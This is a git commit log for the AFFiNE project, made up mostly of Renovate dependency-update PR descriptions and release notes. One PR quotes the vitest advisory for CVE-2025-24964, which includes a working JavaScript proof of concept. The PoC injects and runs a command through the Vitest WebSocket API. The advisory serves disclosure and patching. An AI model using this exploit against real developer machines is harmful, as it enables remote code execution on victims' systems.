📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 12:10:12 +00:00
doodlewind
56d604f685 perf(editor): use clipped section for worker bitmap cache (#9957)
Before (grey area as rendered canvas bitmap):

<img width="1114" alt="image" src="https://github.com/user-attachments/assets/9a209818-c388-4e55-af9b-116f24bd8027" />

After:

<img width="1103" alt="image" src="https://github.com/user-attachments/assets/1102264a-ec21-4c0c-b4b6-e82a64b1a844" />
2025-02-05 11:54:03 +00:00
CatsJuice
9bc085ff1b fix(ios): can't connect to dev server (#9959) 2025-02-05 11:39:19 +00:00
renovate
e0dd90108f chore: bump up @capgo/inappbrowser version to v7 (#9956)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`^6.9.35` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/6.9.35/7.1.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.1.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#716-2025-02-02)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.6)

### [`v7.1.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#711-2025-01-27)

[Compare Source](847415fc3b...7.1.1)

### [`v7.0.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#700-2023-05-24)

[Compare Source](c1747d61cd...847415fc3b4c7250e5f6ffb76d75c0c05cf74041)

##### ⚠ BREAKING CHANGES

-   capacitor 5

##### Features

-   add clearCookie method ([4c5bd3c](4c5bd3c604))
-   capacitor 5 ([f023b23](f023b230ed))
-   force 0.4 ([1f83751](1f837513c0))

##### Bug Fixes

-   add missing definition ([8f4084c](8f4084cb04))
-   better documentation ([fe4ddab](fe4ddab78f))
-   build issue ([b1775db](b1775db824))
-   build script ([551064c](551064cfa9))
-   bump major ([803be81](803be81e74))
-   ci name ([30a9987](30a9987d2d))
-   **deps:** update dependency [@&#8203;capacitor/splash-screen](https://redirect.github.com/capacitor/splash-screen) to v5 ([6039de4](6039de40f0))
-   **deps:** update dependency com.android.tools.build:gradle to v8.0.1 ([f2741a4](f2741a4565))
-   **deps:** update dependency com.google.android.material:material to v1.9.0 ([8fe8de0](8fe8de03d1))
-   finsih config cap 5 ([2b197e8](2b197e81b5))
-   ios build ([e63cf37](e63cf37096))
-   lint issue ([cc0d88f](cc0d88f3c6))
-   missing namespace ([360352e](360352e6ae))
-   versions actions ([d45036d](d45036dae1))

### [`v6.9.37`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

### [`v6.9.36`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#6936-2025-01-23)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.35...6.9.36)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 11:23:57 +00:00
Brooooooklyn
10233f1dbf fix(admin): migrate tailwindcss config to v4 (#9940) 2025-02-05 11:09:58 +00:00
renovate
14fbb8b059 chore: bump up oxlint version to v0.15.9 (#9922)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.8` -> `0.15.9`](https://renovatebot.com/diffs/npm/oxlint/0.15.8/0.15.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.9`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.9): oxlint v0.15.9

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.8...oxlint_v0.15.9)

#### \[0.15.9] - 2025-02-01

##### Features

-   [`1a41181`](https://redirect.github.com/oxc-project/oxc/commit/1a41181) linter: Implement `eslint/prefer-object-spread` ([#&#8203;8216](https://redirect.github.com/oxc-project/oxc/issues/8216)) (tbashiyy)
-   [`adb8ebd`](https://redirect.github.com/oxc-project/oxc/commit/adb8ebd) linter: Implement no-useless-call rule ([#&#8203;8789](https://redirect.github.com/oxc-project/oxc/issues/8789)) (keita hino)
-   [`3790933`](https://redirect.github.com/oxc-project/oxc/commit/3790933) linter: Add vitest/prefer-lowercase-title rule ([#&#8203;8152](https://redirect.github.com/oxc-project/oxc/issues/8152)) (Tyler Earls)
-   [`e8e6917`](https://redirect.github.com/oxc-project/oxc/commit/e8e6917) linter: Unicorn/switch-cases-braces support options ([#&#8203;8704](https://redirect.github.com/oxc-project/oxc/issues/8704)) (1zumii)

##### Bug Fixes

-   [`8ce21d1`](https://redirect.github.com/oxc-project/oxc/commit/8ce21d1) linter: Can't disable `no-nested-ternary` rule anymore ([#&#8203;8600](https://redirect.github.com/oxc-project/oxc/issues/8600)) (dalaoshu)
-   [`e929f26`](https://redirect.github.com/oxc-project/oxc/commit/e929f26) linter: Output `LintCommandInfo` for `CliRunResult::LintNoFilesFound` ([#&#8203;8714](https://redirect.github.com/oxc-project/oxc/issues/8714)) (Sysix)
-   [`4f30a17`](https://redirect.github.com/oxc-project/oxc/commit/4f30a17) linter: Unicorn/switch-case-braces mangles code when applying fix ([#&#8203;8758](https://redirect.github.com/oxc-project/oxc/issues/8758)) (Tyler Earls)
-   [`9cc9d5f`](https://redirect.github.com/oxc-project/oxc/commit/9cc9d5f) linter: `ignorePatterns` does not work when files are provided as command arguments ([#&#8203;8590](https://redirect.github.com/oxc-project/oxc/issues/8590)) (dalaoshu)
-   [`1de6f85`](https://redirect.github.com/oxc-project/oxc/commit/1de6f85) linter: No-lone-blocks erroring on block statements containing comments ([#&#8203;8720](https://redirect.github.com/oxc-project/oxc/issues/8720)) (Tyler Earls)
-   [`77ef61a`](https://redirect.github.com/oxc-project/oxc/commit/77ef61a) linter: Fix diagnostic spans for `oxc/no-async-await` ([#&#8203;8721](https://redirect.github.com/oxc-project/oxc/issues/8721)) (camchenry)
-   [`f15bdce`](https://redirect.github.com/oxc-project/oxc/commit/f15bdce) linter: Catch `Promise` in `typescript/array-type` rule ([#&#8203;8702](https://redirect.github.com/oxc-project/oxc/issues/8702)) (Rintaro Itokawa)
-   [`5041cb3`](https://redirect.github.com/oxc-project/oxc/commit/5041cb3) vscode: Fix commands by reverting commit `259a47b` ([#&#8203;8819](https://redirect.github.com/oxc-project/oxc/issues/8819)) (Alexander S.)

##### Performance

-   [`d318238`](https://redirect.github.com/oxc-project/oxc/commit/d318238) linter: Remove sorting of rules in cache ([#&#8203;8718](https://redirect.github.com/oxc-project/oxc/issues/8718)) (camchenry)

##### Documentation

-   [`57b7ca8`](https://redirect.github.com/oxc-project/oxc/commit/57b7ca8) ast: Add documentation for all remaining JS AST methods ([#&#8203;8820](https://redirect.github.com/oxc-project/oxc/issues/8820)) (Cam McHenry)

##### Refactor

-   [`c2fdfc4`](https://redirect.github.com/oxc-project/oxc/commit/c2fdfc4) linter: Correctly handle loose options for `eslint/eqeqeq` ([#&#8203;8798](https://redirect.github.com/oxc-project/oxc/issues/8798)) (dalaoshu)
-   [`0aeaedd`](https://redirect.github.com/oxc-project/oxc/commit/0aeaedd) linter: Support loose options for `eslint/eqeqeq` ([#&#8203;8790](https://redirect.github.com/oxc-project/oxc/issues/8790)) (dalaoshu)
-   [`194a5ff`](https://redirect.github.com/oxc-project/oxc/commit/194a5ff) linter: Remove `LintResult` ([#&#8203;8712](https://redirect.github.com/oxc-project/oxc/issues/8712)) (Sysix)
-   [`4a2f2a9`](https://redirect.github.com/oxc-project/oxc/commit/4a2f2a9) linter: Move default `all_rules` output to trait ([#&#8203;8710](https://redirect.github.com/oxc-project/oxc/issues/8710)) (Sysix)
-   [`741fb40`](https://redirect.github.com/oxc-project/oxc/commit/741fb40) linter: Move stdout outside LintRunner ([#&#8203;8694](https://redirect.github.com/oxc-project/oxc/issues/8694)) (Sysix)
-   [`10e5920`](https://redirect.github.com/oxc-project/oxc/commit/10e5920) linter: Move finishing default diagnostic message to `GraphicalReporter` ([#&#8203;8683](https://redirect.github.com/oxc-project/oxc/issues/8683)) (Sysix)
-   [`9731c56`](https://redirect.github.com/oxc-project/oxc/commit/9731c56) oxlint: Move output from `CliRunResult::InvalidOption` to outside and use more Enums for different invalid options ([#&#8203;8778](https://redirect.github.com/oxc-project/oxc/issues/8778)) (Sysix)
-   [`fe45bee`](https://redirect.github.com/oxc-project/oxc/commit/fe45bee) oxlint: Create different `CliRunResult` instead of passing `ExitCode` to it ([#&#8203;8777](https://redirect.github.com/oxc-project/oxc/issues/8777)) (Sysix)
-   [`2378fef`](https://redirect.github.com/oxc-project/oxc/commit/2378fef) oxlint: Move ConfigFileInit output outside CliRunResult, exit code 1 when it fails ([#&#8203;8776](https://redirect.github.com/oxc-project/oxc/issues/8776)) (Sysix)
-   [`f4cecb5`](https://redirect.github.com/oxc-project/oxc/commit/f4cecb5) oxlint: Remove unused `CliRunResult::PathNotFound` ([#&#8203;8775](https://redirect.github.com/oxc-project/oxc/issues/8775)) (Sysix)

##### Testing

-   [`ad35e82`](https://redirect.github.com/oxc-project/oxc/commit/ad35e82) linter: Use snapshot testing instead of LintResult ([#&#8203;8711](https://redirect.github.com/oxc-project/oxc/issues/8711)) (Sysix)
-   [`bf895eb`](https://redirect.github.com/oxc-project/oxc/commit/bf895eb) linter: Add diagnostic format test snapshots ([#&#8203;8696](https://redirect.github.com/oxc-project/oxc/issues/8696)) (Alexander S.)
-   [`34d3d72`](https://redirect.github.com/oxc-project/oxc/commit/34d3d72) linter: Add snapshot tester for cli ([#&#8203;8695](https://redirect.github.com/oxc-project/oxc/issues/8695)) (Sysix)
-   [`0bf2bcf`](https://redirect.github.com/oxc-project/oxc/commit/0bf2bcf) oxlint: Test two real rules with same name but from different plugins ([#&#8203;8821](https://redirect.github.com/oxc-project/oxc/issues/8821)) (dalaoshu)
-   [`2b83b71`](https://redirect.github.com/oxc-project/oxc/commit/2b83b71) oxlint: Improve disabling "no-nested-ternary" tests ([#&#8203;8814](https://redirect.github.com/oxc-project/oxc/issues/8814)) (Alexander S.)
-   [`45648e7`](https://redirect.github.com/oxc-project/oxc/commit/45648e7) oxlint: Fix InvalidOptionTsConfig tests for windows ([#&#8203;8791](https://redirect.github.com/oxc-project/oxc/issues/8791)) (Alexander S.)
-   [`48bfed9`](https://redirect.github.com/oxc-project/oxc/commit/48bfed9) oxlint: Ignore windows path mismatch (Boshen)
-   [`6f4a023`](https://redirect.github.com/oxc-project/oxc/commit/6f4a023) oxlint: Remove "--print-config" test ([#&#8203;8792](https://redirect.github.com/oxc-project/oxc/issues/8792)) (Sysix)
-   [`55c2025`](https://redirect.github.com/oxc-project/oxc/commit/55c2025) oxlint: Add `CliRunResult` to snapshot ([#&#8203;8780](https://redirect.github.com/oxc-project/oxc/issues/8780)) (Sysix)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 10:54:57 +00:00
forehalo
7ceab1c7da chore(ios): rebuild ios graphql schema (#9935) 2025-02-05 10:27:27 +00:00
forehalo
7826e2b7c8 refactor(server): use feature model (#9932) 2025-02-05 10:27:26 +00:00
forehalo
0ff8d3af6f feat(server): auto create page owner role (#9944) 2025-02-05 10:09:57 +00:00
EYHN
5913715e33 fix(ios): fix app crash (#9955) 2025-02-05 09:44:54 +00:00
Flrande
c8790d20da fix(editor): can not add attachment because service not exist (#9952)
![image](https://github.com/user-attachments/assets/0d78058a-4e30-4133-8c63-238456e70f34)
2025-02-05 09:29:24 +00:00
renovate
75c4291325 chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)

This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
pengx17
a1beb2aadb fix(electron): sourcemap not loading for electron dev mode (#9951) 2025-02-05 08:34:57 +00:00
EYHN
ee0cfe4dc7 feat(nbstore): share worker between workspaces (#9947) 2025-02-05 07:57:03 +00:00
Saul-Mirone
972d76d685 refactor(editor): use spec builder to unify the extend of editor extensions (#9916) 2025-02-05 07:40:55 +00:00
doouding
02122098c7 fix: drag block issue (#9902)
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Brooooooklyn
abeff8bb1a feat(server): doc level permission (#9760)
close CLOUD-89 CLOUD-90 CLOUD-91 CLOUD-92
2025-02-05 07:06:57 +00:00
Yifeng Wang
64de83b13d chore(editor): switch to edgeless in renderer poc entry (#9950) 2025-02-05 06:36:20 +00:00
aki-chang-dev
2607e34063 feat(android): sign-in with google & magic-link & email (#9868)
- [chore(android): migrate to version catalog](16c0fb66e7)
- [feat(android): integrate apollo](4dcf93b4f9)
- [fix(android): fix android email sign-in](752cf34f33)
- [chore(android): add stable/canary environment](72a96bfa5f)
- [feat(android): set cookies for apollo client](7664cc4f19)
- [feat(android): google & magic-link sign-in](c54ce3b43b)
- [eat(android): change logo](8c5062adbc)
- [chore(android): fix pipleline](4a68299be4)
- [fix(android): rebase issues](c6858c5ecf)
- [docs(android): update README for compat with java 21](6eac3ba0dc)
- [fix(android): android pipeline](1103c87880)
2025-02-05 06:08:28 +00:00
Yifeng Wang
cbb73d8034 fix(editor): render position of repeated sentence (#9948) 2025-02-05 04:41:24 +00:00
Yifeng Wang
8afc50c730 fix(editor): support worker renderer zoom (#9943) 2025-02-05 12:16:06 +08:00
Saul-Mirone
0553ae72b5 refactor(editor): remove deprecated editor slot (#9908) 2025-02-04 12:56:41 +00:00
pengx17
3834699c68 fix(electron): add refer/origin to api requests (#9880)
related to BS-2181
2025-02-02 10:05:02 +00:00
liuyi
a95803d33b fix(server): selfhost should not use canary mobile pages (#9929) 2025-02-02 10:00:51 +00:00
liuyi
2084b86797 chore(server): remove old subscription table usage (#9928) 2025-02-02 17:48:54 +08:00
forehalo
d03447f52e fix(server): should redeem onetime invoice only once (#9927)
fix CLOUD-115
2025-02-02 09:18:06 +00:00
renovate
a673f42073 chore: bump up tailwindcss version to v4 (#9918)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`^3.4.16` -> `^4.0.0`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.17/4.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>tailwindlabs/tailwindcss (tailwindcss)</summary>

